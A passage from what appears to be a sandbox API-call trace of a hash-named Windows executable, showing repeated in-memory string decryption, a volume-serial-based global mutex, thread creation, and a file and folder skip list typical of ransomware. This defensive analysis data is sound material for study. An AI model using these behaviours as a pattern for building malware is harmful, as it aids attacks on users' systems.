lpDst="C:\\Windows;") returned 0xc [0049.749] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5e00 | out: hHeap=0xab0000) returned 1 [0049.749] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0049.749] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20a) returned 0xab5f28 [0049.749] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20a) returned 0xab6140 [0049.749] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xab6140, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x5f [0049.750] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab6140 | out: hHeap=0xab0000) returned 1 [0049.750] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0xb38) returned 0xab6140 [0049.750] GetLastError () returned 0x0 [0049.750] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab6140, Size=0xd82) returned 0xab6140 [0049.750] GetLastError () returned 0x0 [0049.750] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab5e00, Size=0x110) returned 0xab6ed0 [0049.750] GetLastError () returned 0x0 [0049.750] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af998 | out: phKey=0x1af998*=0x4cbfe8) returned 1 [0049.750] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af980, dwFlags=0x0) returned 1 [0049.750] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1530, pdwDataLen=0x1af94c | out: pbData=0xab1530, pdwDataLen=0x1af94c) returned 1 [0049.750] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.751] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab14a0 [0049.751] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab14c8 [0049.751] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab5060 [0049.751] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af908*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af970 | out: phKey=0x1af970*=0x4cbfe8) returned 1 [0049.751] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af958, dwFlags=0x0) returned 1 [0049.751] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5060, pdwDataLen=0x1af924 | out: pbData=0xab5060, pdwDataLen=0x1af924) returned 1 [0049.751] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.751] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5060 | out: hHeap=0xab0000) returned 1 [0049.751] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab14a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0049.752] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14c8 | out: hHeap=0xab0000) returned 1 [0049.752] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1530 | out: hHeap=0xab0000) returned 1 [0049.752] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1af9d8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1af9d8*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0049.752] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0049.752] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x28) returned 0xab1530 [0049.752] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab1778 [0049.752] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af914*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af97c | out: phKey=0x1af97c*=0x4cbfe8) returned 1 [0049.752] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af964, dwFlags=0x0) returned 1 [0049.752] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1778, pdwDataLen=0x1af930 | out: pbData=0xab1778, pdwDataLen=0x1af930) returned 1 [0049.752] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.752] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x60) returned 0xab14a0 [0049.752] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af90c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af974 | out: phKey=0x1af974*=0x4cbfe8) returned 1 [0049.752] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af95c, dwFlags=0x0) returned 1 [0049.752] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0x1af928 | out: pbData=0xab14a0, pdwDataLen=0x1af928) returned 1 [0049.752] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.752] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x5c) returned 0xab5060 [0049.752] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab5060, Size=0xb6) returned 0xab5060 [0049.752] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab17a8 [0049.752] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0xb40) returned 0xab5120 [0049.752] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8dc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af944 | out: phKey=0x1af944*=0x4cbfe8) returned 1 [0049.752] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af92c, dwFlags=0x0) returned 1 [0049.752] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5120, pdwDataLen=0x1af8f8 | out: pbData=0xab5120, pdwDataLen=0x1af8f8) returned 1 [0049.753] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.753] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x250) returned 0xab5c68 [0049.753] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8d4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af93c | out: phKey=0x1af93c*=0x4cbfe8) returned 1 [0049.753] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af924, dwFlags=0x0) returned 1 [0049.753] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5c68, pdwDataLen=0x1af8f0 | out: pbData=0xab5c68, pdwDataLen=0x1af8f0) returned 1 [0049.753] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.753] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab5ec0 [0049.753] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8ac*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af914 | out: phKey=0x1af914*=0x4cbfe8) returned 1 [0049.753] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af8fc, dwFlags=0x0) returned 1 [0049.753] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5ec0, pdwDataLen=0x1af8c8 | out: pbData=0xab5ec0, pdwDataLen=0x1af8c8) returned 1 [0049.753] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.753] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x84) returned 0xab5f58 [0049.753] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x84) returned 0xab5fe8 [0049.753] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab6078 [0049.753] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af884*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af8ec | out: phKey=0x1af8ec*=0x4cbfe8) returned 1 [0049.753] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af8d4, dwFlags=0x0) returned 1 [0049.753] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab6078, pdwDataLen=0x1af8a0 | out: pbData=0xab6078, pdwDataLen=0x1af8a0) returned 1 [0049.753] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.753] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab6078 | out: hHeap=0xab0000) returned 1 [0049.754] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xab5f58, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0049.754] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5fe8 | out: hHeap=0xab0000) returned 1 [0049.754] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5ec0 | out: hHeap=0xab0000) returned 1 [0049.754] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab5ec0 [0049.754] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af8a8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af910 | out: phKey=0x1af910*=0x4cbfe8) returned 1 [0049.754] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af8f8, dwFlags=0x0) returned 1 [0049.754] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5ec0, pdwDataLen=0x1af8c4 | out: pbData=0xab5ec0, pdwDataLen=0x1af8c4) returned 1 [0049.754] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.754] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x18) returned 0xab5ee8 [0049.754] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x18) returned 0xab5f08 [0049.754] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab5fe8 [0049.754] CryptImportKey (in: hProv=0x4c5018, pbData=0x1af880*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1af8e8 | out: phKey=0x1af8e8*=0x4cbfe8) returned 1 [0049.754] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x1af8d0, dwFlags=0x0) returned 1 [0049.754] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5fe8, pdwDataLen=0x1af89c | out: pbData=0xab5fe8, pdwDataLen=0x1af89c) returned 1 [0049.754] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.755] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5fe8 | out: hHeap=0xab0000) returned 1 [0049.755] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0xab5ee8, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0049.755] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5f08 | out: hHeap=0xab0000) returned 1 [0049.755] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5ec0 | out: hHeap=0xab0000) returned 1 [0049.755] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20a) returned 0xab6fe8 [0049.756] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20a) returned 0xab7200 [0049.756] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xab7200, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x5f [0049.756] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7200 | out: hHeap=0xab0000) returned 1 [0049.756] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0xb38) returned 0xab7200 [0049.756] GetLastError () returned 0x0 [0049.756] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab5fe8, Size=0x110) returned 0xab5fe8 [0049.756] GetLastError () returned 0x0 [0049.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb81f96, lpParameter=0x1afa70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc [0049.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb81932, lpParameter=0x1afa70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c [0049.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb81a5d, lpParameter=0x1afa70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118 [0049.759] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xec8 [0035.948] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab14a0 [0035.948] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4c5430) returned 1 [0035.948] CryptSetKeyParam (hKey=0x4c5430, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0035.948] CryptDecrypt (in: hKey=0x4c5430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0xa1f914 | out: pbData=0xab14a0, pdwDataLen=0xa1f914) returned 1 [0035.948] CryptDestroyKey (hKey=0x4c5430) returned 1 [0035.949] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab14c8 [0035.949] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab14f0 [0035.949] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab1518 [0035.949] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4c5430) returned 1 [0035.949] CryptSetKeyParam (hKey=0x4c5430, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0035.949] CryptDecrypt (in: hKey=0x4c5430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1518, pdwDataLen=0xa1f8ec | out: pbData=0xab1518, pdwDataLen=0xa1f8ec) returned 1 [0035.949] CryptDestroyKey (hKey=0x4c5430) returned 1 [0035.949] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1518 | out: hHeap=0xab0000) returned 1 [0035.949] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0035.949] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14f0 | out: hHeap=0xab0000) returned 1 [0035.950] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0035.950] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0035.950] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14c8 | out: hHeap=0xab0000) returned 1 [0035.950] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab14a0 [0035.950] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4c5430) returned 1 [0035.950] CryptSetKeyParam (hKey=0x4c5430, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0035.950] CryptDecrypt (in: hKey=0x4c5430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0xa1f948 | out: pbData=0xab14a0, pdwDataLen=0xa1f948) returned 1 [0035.950] CryptDestroyKey (hKey=0x4c5430) returned 1 [0035.950] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab14e8 [0035.950] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x0 [0035.950] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF00") returned 0x94 [0035.950] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0x0) returned 0x0 [0035.951] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0035.951] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14e8 | out: hHeap=0xab0000) returned 1 [0035.951] ReleaseMutex (hMutex=0x94) returned 1 [0035.951] CloseHandle (hObject=0x94) returned 1 [0035.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb81ffe, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94 [0035.952] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab14a0 [0035.952] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4c5430) returned 1 [0035.952] CryptSetKeyParam (hKey=0x4c5430, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0035.952] CryptDecrypt (in: hKey=0x4c5430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0xa1f914 | out: pbData=0xab14a0, pdwDataLen=0xa1f914) returned 1 [0035.952] CryptDestroyKey (hKey=0x4c5430) returned 1 [0035.952] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab14c8 [0035.952] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab14f0 [0035.952] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab1518 [0035.952] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4c5430) returned 1 [0035.952] CryptSetKeyParam (hKey=0x4c5430, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0035.952] CryptDecrypt (in: hKey=0x4c5430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1518, pdwDataLen=0xa1f8ec | out: pbData=0xab1518, pdwDataLen=0xa1f8ec) returned 1 [0035.952] CryptDestroyKey (hKey=0x4c5430) returned 1 [0035.953] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1518 | out: hHeap=0xab0000) returned 1 [0035.953] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0035.953] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14f0 | out: hHeap=0xab0000) returned 1 [0035.953] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0035.953] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0035.953] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14c8 | out: hHeap=0xab0000) returned 1 [0035.953] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab14a0 [0035.953] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4c5430) returned 1 [0035.953] CryptSetKeyParam (hKey=0x4c5430, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0035.953] CryptDecrypt (in: hKey=0x4c5430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0xa1f948 | out: pbData=0xab14a0, pdwDataLen=0xa1f948) returned 1 [0035.953] CryptDestroyKey (hKey=0x4c5430) returned 1 [0035.953] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab14e8 [0035.953] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x0 [0035.954] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF00") returned 0x98 [0035.954] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0x0) returned 0x0 [0035.954] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0035.954] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14e8 | out: hHeap=0xab0000) returned 1 [0035.954] ReleaseMutex (hMutex=0x98) returned 1 [0035.954] CloseHandle (hObject=0x98) returned 1 [0035.954] Sleep (dwMilliseconds=0x3e8) [0037.090] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab14a0 [0037.090] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4cbfe8) returned 1 [0037.090] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0037.090] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0xa1f914 | out: pbData=0xab14a0, pdwDataLen=0xa1f914) returned 1 [0037.090] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0037.090] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab14c8 [0037.090] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab14f0 [0037.090] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab1518 [0037.090] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4cbfe8) returned 1 [0037.090] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0037.090] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1518, pdwDataLen=0xa1f8ec | out: pbData=0xab1518, pdwDataLen=0xa1f8ec) returned 1 [0037.090] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0037.091] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1518 | out: hHeap=0xab0000) returned 1 [0037.092] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0037.092] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14f0 | out: hHeap=0xab0000) returned 1 [0037.092] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0037.092] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0037.093] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14c8 | out: hHeap=0xab0000) returned 1 [0037.093] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab14a0 [0037.093] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4cbfe8) returned 1 [0037.093] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0037.093] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0xa1f948 | out: pbData=0xab14a0, pdwDataLen=0xa1f948) returned 1 [0037.093] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0037.093] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab14e8 [0037.093] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x98 [0037.093] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0x0) returned 0x102 [0037.093] CloseHandle (hObject=0x98) returned 1 [0037.094] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0037.094] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14e8 | out: hHeap=0xab0000) returned 1 [0037.095] Sleep (dwMilliseconds=0x3e8) [0038.280] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab14a0 [0038.280] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4cbfe8) returned 1 [0038.280] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0038.280] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0xa1f914 | out: pbData=0xab14a0, pdwDataLen=0xa1f914) returned 1 [0038.280] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0038.280] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab14c8 [0038.280] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab14f0 [0038.280] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab1518 [0038.280] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4cbfe8) returned 1 [0038.280] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0038.280] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1518, pdwDataLen=0xa1f8ec | out: pbData=0xab1518, pdwDataLen=0xa1f8ec) returned 1 [0038.280] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0038.281] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1518 | out: hHeap=0xab0000) returned 1 [0038.281] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", 